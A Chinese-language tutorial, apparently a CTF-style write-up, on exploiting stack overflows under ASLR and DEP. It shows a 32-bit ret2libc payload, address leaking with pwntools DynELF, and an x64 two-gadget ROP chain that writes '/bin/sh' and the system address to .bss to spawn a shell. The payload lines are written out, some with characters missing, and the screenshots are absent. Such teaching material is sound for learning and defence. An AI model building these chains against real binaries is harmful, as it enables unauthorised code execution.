```payload = "A"*n + p32(libc_system) + p32(final_ret) + arg_addr + ...```
漏洞特征
描述: 假如存在这样一个漏洞:造成了栈溢出,可以溢出数个地址大小,至少能覆盖掉ret返回地址(EIP)和后面需要布置的一些参数空间。
环境:ubuntu 16.04 32, 开了ASLR、DEP,关闭CANNARY,目标代码不基址随机化,plt和got表项中存在write或print等可以打印地址的函数,有目标机器的libc.so
利用思路:
get shell,exploits如下所示:
无目标机器的libc.so的情况下
利用pwntools里的DynELF泄露system函数地址。如下,其实就是写一个泄露一个地址大小的函数:输入一个地址,打印这个地址中存储的值(大小也为一个地址大小),并且保证可以被无数次调用,大部分DynELF泄露地址姿势都如此。
x64指令在栈空间操作的变化有两个:
漏洞特征
描述: 栈溢出,可以溢出数个地址大小的空间。
环境:ubuntu 16.04 64, 开了ASLR、DEP,关闭CANNARY,目标代码不基址随机化,plt和got表项中存在write或print等可以打印地址的函数,有目标机器的libc.so。
利用思路
实例调试
1) gadget1从标记1处开始,把栈顶数据依此弹出到rbx、rbp、r12、r13、r14、r15d;
2) gadget2从标记2处开始,会把r13、r14、r15d中的数据分别赋值到rdx、rsi、edi,其中r15d和edi分别表示r15和rdi的低32位空间,所以到此为止可以控制函数的前三个参数值;
3) 到地址0x40060处时,gadget2虽然完成了寄存器参数的布置,但还没有ret结束掉这个gadget,所以还会往下执行;
4) 3处会使用上面3条指令传递好的参数去执行某函数,函数地址是r12+rbx8处存的值,由于r12和rbx也可以在gadget1中被控制,在此处将[r12+rbx8]指向write函数地址就可以实现地址泄露;
5) 3处执行完地址泄露后,由于无ret指令不能返回我们可以控制的地址中去,再往下看到4处当rbx不等于rbp时会跳到gadget2处不断打印刚才泄露的地址,因此我们需构造rbx==rbp,这样就会再次执行gadget1,然后通过ret返回到下一次漏洞函数,等待第二个payload。
到目前为止我们可以实现地址泄露,将rbx构造为0,那么rbp为1时可以从gadget1执行进入gadget2,那么r12中存入write函数在got表中地址,可在gadget2的3处执行地址打印,因此构造如下payload:
payload1 = 'A'offsets + p64(0)#rbx值 + p64(1)#rbp值 + p64(got_write) + p64(8)#write函数第3个参数 + p64(got_write)#write函数第2个参数,泄露的地址 + p64(1)#write函数第1个参数 + p64(gadget2) + 'A'56 + p64(main)
调试该payload,在0x400609处下断点:
断下时寄存器值已经变成我们想要的,如下图所示:
r12中是即将要跳转的打印函数,打印函数的fd、addr、size也已经布置好,最终泄露的地址如下:
通过上面可以看到libc中的"/bin/sh"地址为0x7f42f5e3ed57,而我们利用的gadget只能控制rdi的低32位,放不下"/bin/sh"的完整地址,因此无法用libc中泄露的"/bin/sh"。
由于目标函数没有aslr,且地址空间的高32位为0,因此可以写入"/bin/sh"到目标代码的.bss段。
payload2='A'0x58 + p64(gadget1) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) + p64(gadget2) + 'A'56 + p64(main)
如下图,成功将"/bin/sh"写入目标代码的bss段:
改写一下payload2后一段,使其执行完后,不跳转到main函数,而是直接调转到system函数:
如果想利用400609 call qword ptr [r12+rbx8]跳转到system,那么需要将system函数写入某个内存中,并将r12+rbx8指向该内存,改写一下payload2使其一次性写入system地址和"/bin/sh";执行完写后,再次通过gadget1将存放"/bin/sh"的bss地址传递到rdi,存放system_addr的bss地址传递到r12,如下:
payload2='A'*0x58 + p64(gadget1) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) + p64(gadget2)\
+ 'A'*8 + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(gadget2) + ... p.send(p64(system_addr) + "/bin/sh\x00")
写入system地址和"/bin/sh"时的断点:
system地址写到了bss_addr,"/bin/sh"写到了bss_addr+8位置。
再此执行到gadget2中时:
r12+rbx*8 == r12 == 0x601040 指向system函数,而RDI指向字符串"/bin/sh",万事俱备;往下执行即可以获得shell: